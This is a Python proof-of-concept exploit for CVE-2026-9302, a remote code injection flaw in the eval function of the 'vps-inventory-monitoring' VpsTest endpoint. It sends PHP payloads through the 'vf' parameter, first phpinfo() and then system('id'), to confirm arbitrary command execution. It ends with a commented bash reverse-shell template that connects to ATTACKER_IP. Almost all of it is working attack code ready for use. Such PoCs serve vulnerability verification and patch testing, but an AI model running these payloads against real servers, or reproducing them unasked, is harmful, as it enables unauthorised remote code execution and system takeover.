CVE-2026-9302 vps-inventory-monitoring eval函数远程代码注入漏洞

#!/usr/bin/env python3 # CVE-2026-9302 PoC - vps-inventory-monitoring Code Injection import requests import sys target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" # Vulnerable endpoint: VpsTest Console with eval function vuln_path = "/index.php?s=index/command/VpsTest" # PoC 1: Basic command execution test payload = "phpinfo();" print(f"[*] Testing CVE-2026-9302 on {target_url}") print(f"[*] Payload: {payload}") params = {"vf": payload} try: response = requests.get(target_url + vuln_path, params=params, timeout=10) if "PHP Version" in response.text or "phpinfo" in response.text.lower(): print("[+] VULNERABLE! Code injection confirmed") print(f"[+] Response preview: {response.text[:500]}") except requests.RequestException as e: print(f"[-] Request failed: {e}") # PoC 2: System command execution cmd_payload = "system('id');" print(f"\n[*] Testing system command execution: id") params = {"vf": cmd_payload} try: response = requests.get(target_url + vuln_path, params=params, timeout=10) print(f"[+] Output: {response.text[:200]}") except requests.RequestException as e: print(f"[-] Request failed: {e}") # PoC 3: Reverse shell payload template # reverse_shell = "system('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1');"